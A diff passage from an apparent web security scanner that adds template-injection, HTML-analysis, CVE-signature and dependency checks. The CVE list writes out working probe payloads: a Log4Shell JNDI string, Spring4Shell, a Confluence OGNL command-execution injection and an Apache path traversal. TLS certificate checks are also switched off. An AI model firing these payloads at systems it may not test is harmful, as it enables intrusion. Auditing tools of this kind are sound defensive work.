+                            f"reflect `49` — confirming the template engine evaluated `7*7`. "
+                            f"Detected framework(s): {', '.join(detected_fw)}.\n\n"
+                            "CSTI enables arbitrary JavaScript execution in the victim's browser "
+                            "via sandbox escape payloads.",
+                        remediation="1. Never render raw user input inside AngularJS/Vue templates.\n"
+                            "2. Use Angular's DomSanitizer / Vue's v-text instead of v-html.\n"
+                            "3. Set Angular's $compileProvider.debugInfoEnabled(false).\n"
+                            "4. Upgrade to Angular 2+ (no longer uses string-based templates).",
+                        evidence=f"Parameter `{k}` evaluated `{payload}` to `49` in response",
+                        payload=payload,
+                        request_details=f"GET {url}",
+                        response_details=resp[:500],
+                        confidence="Confirmed",
+                    )
+                    self.log("CRITICAL", f"[CSTI] Expression evaluated in `{k}`!")
+                    return self.vulns
+                elif payload in resp and "{{" in resp:
+                    self.add_vuln(
+                        title=f"Template Delimiter Reflected in `{k}` — Possible CSTI",
+                        severity="Medium",
+                        category="Client-Side Template Injection",
+                        cvss_score=5.3,
+                        description=f"Template payload `{payload}` was reflected back in the "
+                            f"response. If the page uses {', '.join(detected_fw)}, the browser "
+                            "may evaluate this as a live template expression.",
+                        remediation="Sanitize and encode template delimiters ({{ }}) in user output.",
+                        evidence=f"Payload `{payload}` reflected in response",
+                        payload=payload,
+                        confidence="Medium",
+                    )
+
+        if detected_fw:
+            self.add_vuln(
+                title=f"Client-Side Template Framework Detected: {', '.join(fw.title() for fw in detected_fw)}",
+                severity="Low",
+                category="Client-Side Template Injection",
+                cvss_score=0.0,
+                description=f"Page uses {', '.join(detected_fw)} — manual CSTI testing recommended "
+                    "via Burp Suite with payloads: `{{constructor.constructor('alert(1)')()}}` (AngularJS) "
+                    "or `{{_openBlock()}}` (Vue 3).",
+                remediation="Audit all template rendering paths for user-controlled input.",
+                confidence="Info",
+            )
+
+        self._test_angular_sandbox_escape(detected_fw, qs, parsed)
+        self._test_vue_template_injection(detected_fw, qs, parsed)
+
+        if not self.vulns:
+            self.log("SUCCESS", "[CSTI] No CSTI vulnerabilities detected.")
+        return self.vulns
+
+    def _test_angular_sandbox_escape(self, detected_fw, qs, parsed):
+        if "angular" not in detected_fw:
+            return
+        angular_payloads = [
+            "{{constructor.constructor('alert(1)')()}}",
+            "{{$on.constructor('alert(1)')()}}",
+            "{{a='constructor';b='alert(1)';a[b]()}}",
+        ]
+        for k, v in qs[:2]:
+            for payload in angular_payloads:
+                injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
+                url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
+                resp, status = self._make_request(url)
+                if resp and payload[:30] in resp:
+                    self.add_vuln(
+                        title=f"Angular Sandbox Escape Possible via `{k}`",
+                        severity="Critical",
+                        category="Client-Side Template Injection",
+                        cvss_score=9.3,
+                        description=f"Angular sandbox escape payload `{payload[:60]}...` reflected via `{k}`. "
+                            "If AngularJS evaluates this, arbitrary JS execution is possible.",
+                        remediation="Upgrade to Angular 2+ or disable string-based template compilation.",
+                        evidence=f"Angular sandbox escape payload reflected: {payload[:60]}",
+                        payload=payload,
+                        confidence="High",
+                    )
+
+    def _test_vue_template_injection(self, detected_fw, qs, parsed):
+        if "vue" not in detected_fw:
+            return
+        vue_payloads = [
+            "{{_openBlock()}}",
+            "{{__ob__}}",
+            "{{$parent.$parent.$options}}",
+        ]
+        for k, v in qs[:2]:
+            for payload in vue_payloads:
+                injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
+                url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
+                resp, status = self._make_request(url)
+                if resp and payload[:20] in resp:
+                    self.add_vuln(
+                        title=f"Vue.js Template Injection Possible via `{k}`",
+                        severity="High",
+                        category="Client-Side Template Injection",
+                        cvss_score=7.5,
+                        description=f"Vue.js reactivity payload `{payload}` reflected via `{k}`. "
+                            "May indicate Vue template injection if the expression is evaluated.",
+                        remediation="Use v-text instead of {{ }} interpolation for user-controlled data.",
+                        evidence=f"Vue payload reflected: {payload}",
+                        payload=payload,
+                        confidence="Medium",
+                    )

backend/scanners/custom_website_scanner.py

@@ -0,0 +1,288 @@
+"""
+custom_website_scanner.py — Custom website analysis using Requests + BeautifulSoup.
+Performs deep HTML analysis, form detection, link extraction, and content analysis.
+"""
+import requests
+from bs4 import BeautifulSoup
+import urllib.request, ssl
+from scanners.base_scanner import BaseScanner
+
+class CustomWebsiteScanner(BaseScanner):
+    SCANNER_NAME = "Custom Website Analysis"
+
+    def run(self):
+        self.log("INFO", f"[Custom Analysis] Starting deep website analysis for {self.target}...")
+        
+        ctx = ssl.create_default_context()
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+        
+        try:
+            headers = {"User-Agent": "LarShield/2.0 (Security Audit Bot)"}
+            if self.auth_headers:
+                headers.update(self.auth_headers)
+            
+            req = urllib.request.Request(self.target, headers=headers)
+            with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
+                html = resp.read().decode('utf-8', errors='ignore')
+                response_headers = {k.lower(): v for k, v in resp.getheaders()}
+                status = resp.status
+            
+            self.log("SUCCESS", f"[Custom Analysis] Retrieved page: HTTP {status}")
+            
+            # Parse HTML with BeautifulSoup
+            soup = BeautifulSoup(html, 'html.parser')
+            
+            # Perform various analyses
+            self._analyze_forms(soup)
+            self._analyze_links(soup)
+            self._analyze_scripts(soup)
+            self._analyze_meta_tags(soup)
+            self._analyze_comments(soup)
+            self._analyze_hidden_inputs(soup)
+            self._analyze_external_resources(soup)
+            
+            self.log("SUCCESS", "[Custom Analysis] Website analysis complete.")
+            
+        except urllib.error.HTTPError as e:
+            self.log("WARNING", f"[Custom Analysis] HTTP Error {e.code}: {e.reason}")
+        except urllib.error.URLError as e:
+            self.log("WARNING", f"[Custom Analysis] URL Error: {e.reason}")
+        except Exception as e:
+            self.log("WARNING", f"[Custom Analysis] Error: {e}")
+        
+        return self.vulns
+
+    def _analyze_forms(self, soup):
+        """Analyze HTML forms for security issues."""
+        self.log("INFO", "[Custom Analysis] Analyzing forms...")
+        
+        forms = soup.find_all('form')
+        
+        if not forms:
+            self.log("INFO", "[Custom Analysis] No forms found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(forms)} form(s).")
+        
+        for i, form in enumerate(forms[:10]):  # Limit to first 10 forms
+            form_action = form.get('action', '')
+            form_method = form.get('method', 'GET').upper()
+            
+            self.log("INFO", f"[Custom Analysis] Form {i+1}: {form_method} -> {form_action}")
+            
+            # Check for insecure form method
+            if form_method == 'GET' and form_action:
+                self.log("WARNING", f"[Custom Analysis] Form {i+1} uses GET method for sensitive data")
+                self.add_vuln(
+                    title="Form Uses GET Method for Sensitive Data",
+                    severity="Medium", category="Form Security", cvss_score=5.3,
+                    description=f"Form {i+1} on {self.target} uses GET method. Sensitive data in GET requests appears in browser history and server logs.",
+                    remediation="Change form method to POST for sensitive data handling."
+                )
+            
+            # Check for CSRF protection
+            has_csrf = False
+            for input_field in form.find_all('input'):
+                input_name = input_field.get('name', '').lower()
+                if 'csrf' in input_name or 'token' in input_name:
+                    has_csrf = True
+                    break
+            
+            if not has_csrf and form_method == 'POST':
+                self.log("WARNING", f"[Custom Analysis] Form {i+1} may lack CSRF protection")
+                self.add_vuln(
+                    title="Form May Lack CSRF Protection",
+                    severity="Medium", category="Form Security", cvss_score=5.9,
+                    description=f"Form {i+1} on {self.target} uses POST method but no CSRF token was detected. This could lead to Cross-Site Request Forgery attacks.",
+                    remediation="Implement CSRF tokens in all state-changing forms. Use framework-provided CSRF protection."
+                )
+
+    def _analyze_links(self, soup):
+        """Analyze links for security issues."""
+        self.log("INFO", "[Custom Analysis] Analyzing links...")
+        
+        links = soup.find_all('a', href=True)
+        
+        if not links:
+            self.log("INFO", "[Custom Analysis] No links found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(links)} link(s).")
+        
+        # Check for external links
+        external_links = []
+        for link in links[:50]:  # Limit to first 50 links
+            href = link['href']
+            if href.startswith('http'):
+                if self.domain not in href:
+                    external_links.append(href)
+        
+        if external_links:
+            self.log("INFO", f"[Custom Analysis] Found {len(external_links)} external link(s).")
+            
+            # Check for suspicious external links
+            suspicious_domains = ['bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'ow.ly']
+            for ext_link in external_links:
+                for susp in suspicious_domains:
+                    if susp in ext_link:
+                        self.log("WARNING", f"[Custom Analysis] Suspicious shortener link: {ext_link}")
+                        self.add_vuln(
+                            title="Suspicious URL Shortener Link",
+                            severity="Low", category="Content Security", cvss_score=3.1,
+                            description=f"External link uses URL shortener ({susp}): {ext_link}. This could hide malicious destinations.",
+                            remediation="Avoid using URL shorteners in production. Use direct links or implement link validation."
+                        )
+
+    def _analyze_scripts(self, soup):
+        """Analyze JavaScript files for security issues."""
+        self.log("INFO", "[Custom Analysis] Analyzing scripts...")
+        
+        scripts = soup.find_all('script')
+        
+        if not scripts:
+            self.log("INFO", "[Custom Analysis] No scripts found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(scripts)} script(s).")
+        
+        # Check for inline scripts
+        inline_scripts = [s for s in scripts if s.get('src') is None]
+        
+        if inline_scripts:
+            self.log("WARNING", f"[Custom Analysis] Found {len(inline_scripts)} inline script(s)")
+            self.add_vuln(
+                title="Inline JavaScript Detected",
+                severity="Medium", category="Content Security", cvss_score=5.3,
+                description=f"Found {len(inline_scripts)} inline JavaScript script(s). Inline scripts bypass Content Security Policy and increase XSS risk.",
+                remediation="Move all JavaScript to external files and implement a strict Content Security Policy."
+            )
+        
+        # Check for external scripts
+        external_scripts = [s.get('src') for s in scripts if s.get('src')]
+        
+        if external_scripts:
+            self.log("INFO", f"[Custom Analysis] Found {len(external_scripts)} external script(s).")
+            
+            # Check for CDNs
+            cdn_domains = ['cdn.jsdelivr.net', 'cdnjs.cloudflare.com', 'ajax.googleapis.com']
+            for script in external_scripts:
+                for cdn in cdn_domains:
+                    if cdn in script:
+                        self.log("INFO", f"[Custom Analysis] CDN script: {script}")
+
+    def _analyze_meta_tags(self, soup):
+        """Analyze meta tags for security issues."""
+        self.log("INFO", "[Custom Analysis] Analyzing meta tags...")
+        
+        meta_tags = soup.find_all('meta')
+        
+        if not meta_tags:
+            self.log("INFO", "[Custom Analysis] No meta tags found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(meta_tags)} meta tag(s).")
+        
+        # Check for generator meta tag
+        generator = soup.find('meta', attrs={'name': 'generator'})
+        if generator:
+            generator_content = generator.get('content', '')
+            self.log("WARNING", f"[Custom Analysis] Generator meta tag: {generator_content}")
+            self.add_vuln(
+                title="Generator Meta Tag Discloses Technology",
+                severity="Low", category="Information Disclosure", cvss_score=3.1,
+                description=f"Generator meta tag reveals technology: {generator_content}",
+                remediation="Remove generator meta tag to reduce information disclosure."
+            )
+        
+        # Check for viewport meta tag
+        viewport = soup.find('meta', attrs={'name': 'viewport'})
+        if not viewport:
+            self.log("INFO", "[Custom Analysis] No viewport meta tag found (accessibility issue).")
+
+    def _analyze_comments(self, soup):
+        """Analyze HTML comments for sensitive information."""
+        self.log("INFO", "[Custom Analysis] Analyzing HTML comments...")
+        
+        comments = soup.find_all(string=lambda text: isinstance(text, str) and text.strip().startswith('<!--'))
+        
+        if not comments:
+            self.log("INFO", "[Custom Analysis] No HTML comments found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(comments)} comment(s).")
+        
+        # Check for sensitive keywords in comments
+        sensitive_keywords = ['password', 'secret', 'api key', 'token', 'debug', 'todo', 'fixme', 'hack']
+        
+        for comment in comments:
+            comment_text = comment.strip()
+            for keyword in sensitive_keywords:
+                if keyword in comment_text.lower():
+                    self.log("WARNING", f"[Custom Analysis] Sensitive comment: {comment_text[:100]}")
+                    self.add_vuln(
+                        title="Sensitive Information in HTML Comments",
+                        severity="Low", category="Information Disclosure", cvss_score=3.1,
+                        description=f"HTML comment contains sensitive keyword '{keyword}': {comment_text[:100]}",
+                        remediation="Remove sensitive information from HTML comments before deployment."
+                    )
+                    break
+
+    def _analyze_hidden_inputs(self, soup):
+        """Analyze hidden input fields for sensitive data."""
+        self.log("INFO", "[Custom Analysis] Analyzing hidden inputs...")
+        
+        hidden_inputs = soup.find_all('input', type='hidden')
+        
+        if not hidden_inputs:
+            self.log("INFO", "[Custom Analysis] No hidden inputs found.")
+            return
+        
+        self.log("INFO", f"[Custom Analysis] Found {len(hidden_inputs)} hidden input(s).")
+        
+        for hidden in hidden_inputs[:20]:  # Limit to first 20
+            name = hidden.get('name', '')
+            value = hidden.get('value', '')
+            
+            # Check for sensitive data in hidden fields
+            if value and len(value) > 20:
+                self.log("WARNING", f"[Custom Analysis] Hidden input with long value: {name}")
+                self.add_vuln(
+                    title="Hidden Input with Long Value",
+                    severity="Low", category="Form Security", cvss_score=3.1,
+                    description=f"Hidden input field '{name}' contains a long value. This could contain sensitive data.",
+                    remediation="Review hidden input fields and ensure they don't contain sensitive information."
+                )
+
+    def _analyze_external_resources(self, soup):
+        """Analyze external resources for security issues."""
+        self.log("INFO", "[Custom Analysis] Analyzing external resources...")
+        
+        # Check for images
+        images = soup.find_all('img', src=True)
+        if images:
+            self.log("INFO", f"[Custom Analysis] Found {len(images)} image(s).")
+            
+            # Check for data URIs
+            data_uri_images = [img for img in images if img['src'].startswith('data:')]
+            if data_uri_images:
+                self.log("WARNING", f"[Custom Analysis] Found {len(data_uri_images)} data URI image(s)")
+        
+        # Check for iframes
+        iframes = soup.find_all('iframe', src=True)
+        if iframes:
+            self.log("WARNING", f"[Custom Analysis] Found {len(iframes)} iframe(s)")
+            
+            for iframe in iframes[:10]:
+                src = iframe.get('src', '')
+                self.log("INFO", f"[Custom Analysis] iframe: {src}")
+                
+                # Check for external iframes
+                if src.startswith('http') and self.domain not in src:
+                    self.log("WARNING", f"[Custom Analysis] External iframe: {src}")
+                    self.add_vuln(
+                        title="External iframe Detected",
+                        severity="Medium", category="Content Security", cvss_score=5.3,
+                        description=f"External iframe detected: {src}. This could lead to clickjacking or content injection attacks.",
+                        remediation="Review external iframes and ensure they are trusted. Consider using sandbox attribute or CSP frame-ancestors."
+                    )

backend/scanners/cve_scanner.py

@@ -0,0 +1,169 @@
+import json
+import urllib.request
+import urllib.error
+import urllib.parse
+import ssl
+
+from scanners.base_scanner import BaseScanner
+
+CVE_SIGNATURES = [
+    {
+        "id": "CVE-2021-44228",
+        "name": "Log4Shell",
+        "severity": "Critical",
+        "cvss": 10.0,
+        "affected": ["Apache Log4j 2.x < 2.15.0"],
+        "probe": {"header": "${jndi:ldap://127.0.0.1/a}", "param": "q"},
+        "detect": lambda code, body, headers: code == 500,
+    },
+    {
+        "id": "CVE-2022-22965",
+        "name": "Spring4Shell",
+        "severity": "Critical",
+        "cvss": 9.8,
+        "affected": ["Spring Framework 5.3.x < 5.3.18", "5.2.x < 5.2.20"],
+        "probe": {
+            "param": "class.module.classLoader.URLs%5B0%5D=0",
+        },
+        "detect": lambda code, body, headers: code == 400,
+    },
+    {
+        "id": "CVE-2022-26134",
+        "name": "Confluence OGNL Injection",
+        "severity": "Critical",
+        "cvss": 9.8,
+        "affected": ["Atlassian Confluence Server/DC < 7.18.0"],
+        "probe": {
+            "path_payload": "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
+        },
+        "detect": lambda code, body, headers: "X-Cmd-Response" in headers,
+    },
+    {
+        "id": "CVE-2021-41773",
+        "name": "Apache HTTP Server Path Traversal",
+        "severity": "High",
+        "cvss": 7.5,
+        "affected": ["Apache HTTP Server 2.4.49"],
+        "probe": {"path": "/cgi-bin/.%2e/%2e%2e/bin/sh"},
+        "detect": lambda code, body, headers: code == 200 and "root:" in body,
+    },
+    {
+        "id": "CVE-2021-40438",
+        "name": "Apache HTTP Server SSRF",
+        "severity": "High",
+        "cvss": 8.1,
+        "affected": ["Apache HTTP Server 2.4.x < 2.4.49"],
+        "probe": {"path": "/?unix:xxx|http://127.0.0.1:80"},
+        "detect": lambda code, body, headers: code not in (404, 400),
+    },
+    {
+        "id": "CVE-2020-14750",
+        "name": "Oracle WebLogic Authentication Bypass",
+        "severity": "Critical",
+        "cvss": 9.8,
+        "affected": ["Oracle WebLogic 10.3.6", "12.1.3", "12.2.1.3", "12.2.1.4", "14.1.1.0"],
+        "probe": {"path": "/console/css/%2e%2e%2fconsole.portal"},
+        "detect": lambda code, body, headers: code == 200 and "WebLogic" in body,
+    },
+    {
+        "id": "CVE-2018-7600",
+        "name": "Drupalgeddon 2 (RCE)",
+        "severity": "Critical",
+        "cvss": 9.8,
+        "affected": ["Drupal 7.x < 7.58", "8.x < 8.5.1"],
+        "probe": {"path": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"},
+        "detect": lambda code, body, headers: "drupal_ajax" in body,
+    },
+    {
+        "id": "CVE-2017-9791",
+        "name": "Apache Struts S2-048 (RCE)",
+        "severity": "Critical",
+        "cvss": 9.8,
+        "affected": ["Apache Struts 2.3.x < 2.3.32"],
+        "probe": {"path": "/struts2-showcase/integration/saveGangster.action"},
+        "detect": lambda code, body, headers: code == 200 and "struts" in body.lower(),
+    },
+]
+
+
+class CveScanner(BaseScanner):
+    SCANNER_NAME = "Known Exploits & CVE Signature Scanner"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self.base_url = target.rstrip("/")
+
+    def run(self):
+        self.log("INFO",
+                 f"[CVE] Starting signature checks against {len(CVE_SIGNATURES)} CVEs on {self.target}...")
+
+        try:
+            for cve in CVE_SIGNATURES:
+                self._check_cve(cve)
+        except Exception as e:
+            self.log("WARNING", f"[CVE] Error during scan: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[CVE] Checks complete. {len(self.vulns)} CVE(s) confirmed.",
+        )
+        return self.vulns
+
+    def _check_cve(self, cve: dict):
+        probe = cve.get("probe", {})
+        detect = cve.get("detect")
+        headers = {"User-Agent": "LarShield/2.0 CVE-Scanner"}
+
+        try:
+            path = probe.get("path", "")
+            path_payload = probe.get("path_payload", "")
+            param = probe.get("param", "")
+            header_val = probe.get("header", "")
+            query_str = probe.get("param", "")
+
+            test_url = f"{self.base_url}{path}"
+            if path_payload:
+                test_url = f"{self.base_url}/{path_payload}"
+            if query_str and not path:
+                test_url = f"{self.base_url}/?{query_str}"
+
+            req_headers = dict(headers)
+            if header_val:
+                req_headers["User-Agent"] = header_val
+                req_headers["X-Forwarded-For"] = header_val
+                req_headers["Referer"] = header_val
+
+            ctx = self.get_ssl_context()
+            req = urllib.request.Request(test_url, headers=req_headers)
+
+            try:
+                with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
+                    body = resp.read(4096).decode("utf-8", errors="ignore")
+                    code = resp.status
+                    resp_headers = resp.headers
+            except urllib.error.HTTPError as e:
+                body = e.read(4096).decode("utf-8", errors="ignore") if e.fp else ""
+                code = e.code
+                resp_headers = e.headers if hasattr(e, "headers") else {}
+            except Exception as e:
+                self.log("ERROR", f"[CVE] _check_cve request error: {e}")
+                return
+
+            if detect and detect(code, body, resp_headers):
+                self.log("CRITICAL",
+                         f"[CVE] Confirmed: {cve['name']} ({cve['id']})")
+                self.add_vuln(
+                    title=f"{cve['name']} ({cve['id']})",
+                    severity=cve["severity"],
+                    category="Known Exploit / CVE",
+                    cvss_score=cve["cvss"],
+                    description=f"The target appears vulnerable to {cve['name']} ({cve['id']}).\n"
+                    f"Affected: {', '.join(cve['affected'])}",
+                    remediation=f"Apply the latest security patch for {cve['id']}. "
+                    f"Refer to vendor advisory for detailed mitigation steps.",
+                    evidence=f"HTTP {code} with matching signature",
+                    request_details=f"GET {test_url}",
+                )
+
+        except Exception as e:
+            self.log("ERROR", f"[CVE] _check_cve error: {e}")

backend/scanners/dependency_scanner.py

@@ -0,0 +1,257 @@
+"""
+dependency_scanner.py — JavaScript / Backend Dependency Vulnerability Scanner
+==============================================================================
+Detects outdated and vulnerable client-side libraries by:
+  1. Parsing package.json / composer.json / requirements.txt if exposed
+  2. Fingerprinting loaded JS libraries from HTML source (jQuery, React, etc.)
+  3. Comparing detected versions against a built-in known-vulnerable version database
+  4. Detecting missing Subresource Integrity (SRI) on external scripts
+"""
+import re, json, urllib.request, urllib.error
+from packaging import version as pkg_version
+from scanners.base_scanner import BaseScanner
+
+# ── Known-vulnerable version ranges ────────────────────────────────────────
+# Format: library_name -> [(max_vulnerable_version, CVE, severity, cvss, description)]
+VULN_DB = {
+    "jquery": [
+        ("1.12.4", "CVE-2015-9251",  "Medium", 6.1, "XSS via jQuery.htmlPrefilter"),
+        ("3.4.9",  "CVE-2019-11358", "Medium", 6.1, "Prototype pollution in jQuery.extend"),
+        ("3.6.0",  "CVE-2020-23064", "Medium", 6.9, "XSS via HTML parsing"),
+    ],
+    "bootstrap": [
+        ("3.4.1", "CVE-2019-8331",  "Medium", 6.1, "XSS in tooltip/popover data-template"),
+        ("4.3.0", "CVE-2018-14042", "Medium", 6.1, "XSS via data-target attribute"),
+    ],
+    "angularjs": [
+        ("1.8.3", "CVE-2022-25869", "Medium", 6.1, "XSS in $sanitize"),
+        ("1.6.9", "CVE-2019-14863", "Medium", 6.1, "Angular template injection"),
+    ],
+    "lodash": [
+        ("4.17.20", "CVE-2021-23337", "High", 7.2, "Command injection via template"),
+        ("4.17.15", "CVE-2020-28500", "Medium", 5.3, "ReDoS in toNumber"),
+        ("4.17.10", "CVE-2019-10744", "Critical", 9.1, "Prototype pollution"),
+    ],
+    "moment": [
+        ("2.29.3", "CVE-2022-24785", "High", 7.5, "Path traversal in locale loading"),
+        ("2.29.1", "CVE-2022-31129", "High", 7.5, "ReDoS in string-to-date parsing"),
+    ],
+    "axios": [
+        ("0.21.1", "CVE-2021-3749", "High", 7.5, "Server-side request forgery via SSRF bypass"),
+    ],
+    "d3": [
+        ("5.16.0", "CVE-2021-23490", "Medium", 5.3, "Prototype pollution"),
+    ],
+    "react": [
+        ("16.13.0", "CVE-2018-6341", "Medium", 6.1, "XSS via dangerouslySetInnerHTML"),
+    ],
+    "vue": [
+        ("2.6.14", "CVE-2022-23912", "Medium", 5.3, "ReDoS"),
+    ],
+}
+
+# JS fingerprint patterns: (regex in src/content, library_name, version_capture_group)
+JS_FINGERPRINTS = [
+    (re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', re.I),    "jquery"),
+    (re.compile(r'bootstrap[.-]?(\d+\.\d+\.\d+)', re.I), "bootstrap"),
+    (re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', re.I),   "angularjs"),
+    (re.compile(r'lodash[.-]?(\d+\.\d+\.\d+)', re.I),    "lodash"),
+    (re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', re.I),    "moment"),
+    (re.compile(r'axios[.-]?(\d+\.\d+\.\d+)', re.I),     "axios"),
+    (re.compile(r'react[.-]?(\d+\.\d+\.\d+)', re.I),     "react"),
+    (re.compile(r'vue[.-]?(\d+\.\d+\.\d+)', re.I),       "vue"),
+    (re.compile(r'd3[.-]?v?(\d+\.\d+\.\d+)', re.I),      "d3"),
+]
+
+# Inline version variables: jQuery.fn.jquery, $.fn.jquery, etc.
+INLINE_VER_RE = {
+    "jquery": re.compile(r'jQuery\.fn\.jquery\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
+    "react":  re.compile(r'ReactDOM\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
+    "vue":    re.compile(r'Vue\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
+}
+
+EXPOSED_MANIFESTS = [
+    ("/package.json",       "json", "node"),
+    ("/composer.json",      "json", "php"),
+    ("/requirements.txt",   "text", "python"),
+    ("/Gemfile.lock",       "text", "ruby"),
+    ("/go.sum",             "text", "go"),
+]
+
+
+class DependencyScanner(BaseScanner):
+    SCANNER_NAME = "Dependency Vulnerability Scanner"
+    _SCANNER_KEY = "dependency"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._detected: dict = {}   # library -> version
+        self._reported: set  = set()
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[Deps] Starting dependency vulnerability scan on {self.target}...")
+        try:
+            html, script_urls = self._fetch_page()
+            self._fingerprint_from_html(html, script_urls)
+            self._check_manifest_exposure()
+            self._check_sri(html)
+            self._audit_detected()
+        except Exception as e:
+            self.log("WARNING", f"[Deps] Error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[Deps] Complete. Detected {len(self._detected)} lib(s). "
+            f"{len(self.vulns)} issue(s) found.",
+        )
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _fetch_page(self) -> tuple:
+        req = urllib.request.Request(self.target,
+            headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
+        with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+            html = r.read().decode("utf-8", errors="ignore")
+        scripts = re.findall(r'<script[^>]+src=["\']([^"\']+)["\']', html, re.I)
+        return html, scripts
+
+    # ------------------------------------------------------------------
+    def _fingerprint_from_html(self, html: str, script_urls: list):
+        # Check script src URLs
+        all_text = html + "\n" + "\n".join(script_urls)
+        for pat, lib in JS_FINGERPRINTS:
+            m = pat.search(all_text)
+            if m:
+                ver = m.group(1)
+                if lib not in self._detected:
+                    self._detected[lib] = ver
+                    self.log("INFO", f"[Deps] Detected: {lib} v{ver}")
+
+        # Check inline version variables in JS content
+        for script_url in script_urls[:8]:
+            try:
+                full_url = self._resolve_url(script_url)
+                req = urllib.request.Request(full_url,
+                    headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
+                with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
+                    js = r.read().decode("utf-8", errors="ignore")
+                for lib, ver_re in INLINE_VER_RE.items():
+                    vm = ver_re.search(js)
+                    if vm and lib not in self._detected:
+                        self._detected[lib] = vm.group(1)
+                        self.log("INFO", f"[Deps] Detected (inline): {lib} v{vm.group(1)}")
+            except Exception as e:
+                self.log("ERROR", f"[Deps] Inline detection error: {e}")
+                continue
+
+    # ------------------------------------------------------------------
+    def _check_manifest_exposure(self):
+        base = self.target.rstrip("/")
+        for path, fmt, ecosystem in EXPOSED_MANIFESTS:
+            url  = f"{base}{path}"
+            body, status = self._probe(url)
+            if status == 200 and body:
+                self.add_vuln(
+                    title=f"Exposed Dependency Manifest: {path}",
+                    severity="Medium",
+                    category="Information Disclosure",
+                    cvss_score=5.3,
+                    description=f"The {ecosystem} dependency manifest `{url}` is publicly "
+                        "accessible. This reveals the exact library versions in use, "
+                        "allowing targeted exploitation of known CVEs.",
+                    remediation=f"Block access to `{path}` in your web server config:\n"
+                        "Nginx: location = /package.json { deny all; return 404; }",
+                )
+                # Also parse versions from manifest
+                if fmt == "json":
+                    try:
+                        data = json.loads(body)
+                        deps = {**data.get("dependencies",{}), **data.get("devDependencies",{})}
+                        for lib, ver_str in deps.items():
+                            clean_ver = ver_str.lstrip("^~>=<")
+                            lib_key   = lib.lower().split("/")[-1]
+                            if lib_key in VULN_DB and lib_key not in self._detected:
+                                self._detected[lib_key] = clean_ver
+                    except Exception as e:
+                        self.log("ERROR", f"[Deps] Manifest JSON parse error: {e}")
+
+    # ------------------------------------------------------------------
+    def _check_sri(self, html: str):
+        ext_scripts = re.findall(
+            r'<script[^>]+src=["\']https?://[^"\']+["\'][^>]*>', html, re.I)
+        missing_sri = [s for s in ext_scripts if "integrity=" not in s.lower()]
+        if missing_sri:
+            self.add_vuln(
+                title=f"Subresource Integrity (SRI) Missing on {len(missing_sri)} External Script(s)",
+                severity="Medium",
+                category="Supply Chain Security",
+                cvss_score=5.9,
+                description=f"Found {len(missing_sri)} external `<script>` tag(s) without "
+                    "`integrity=` attributes. Without SRI, if the CDN is compromised or the "
+                    "file is modified, malicious code executes in users' browsers silently.\n\n"
+                    f"Example: `{missing_sri[0][:200]}`",
+                remediation="Add integrity and crossorigin attributes to all external scripts:\n"
+                    '<script src="https://cdn.example.com/lib.js" '
+                    'integrity="sha384-..." crossorigin="anonymous"></script>\n'
+                    "Generate SRI hashes at: https://www.srihash.org/",
+            )
+        else:
+            self.log("SUCCESS", "[Deps] All external scripts have SRI attributes")
+
+    # ------------------------------------------------------------------
+    def _audit_detected(self):
+        for lib, detected_ver in self._detected.items():
+            if lib not in VULN_DB:
+                continue
+            try:
+                dv = pkg_version.parse(detected_ver)
+            except Exception as e:
+                self.log("ERROR", f"[Deps] Version parse error for {lib}: {e}")
+                continue
+
+            for max_vuln_ver, cve, severity, cvss, desc in VULN_DB[lib]:
+                try:
+                    mv = pkg_version.parse(max_vuln_ver)
+                except Exception as e:
+                    self.log("ERROR", f"[Deps] Version parse error for {max_vuln_ver}: {e}")
+                    continue
+                key = f"{lib}:{cve}"
+                if dv <= mv and key not in self._reported:
+                    self._reported.add(key)
+                    self.log("WARNING",
+                        f"[Deps] VULNERABLE: {lib} v{detected_ver} <= v{max_vuln_ver} ({cve})")
+                    self.add_vuln(
+                        title=f"Vulnerable Library: {lib} v{detected_ver} ({cve})",
+                        severity=severity,
+                        category="Vulnerable Dependencies",
+                        cvss_score=cvss,
+                        description=f"The detected version of **{lib}** (`v{detected_ver}`) "
+                            f"is at or below the vulnerable version `v{max_vuln_ver}`.\n\n"
+                            f"**CVE:** {cve}\n**Impact:** {desc}\n\n"
+                            "An attacker can exploit this known vulnerability via client-side attacks.",
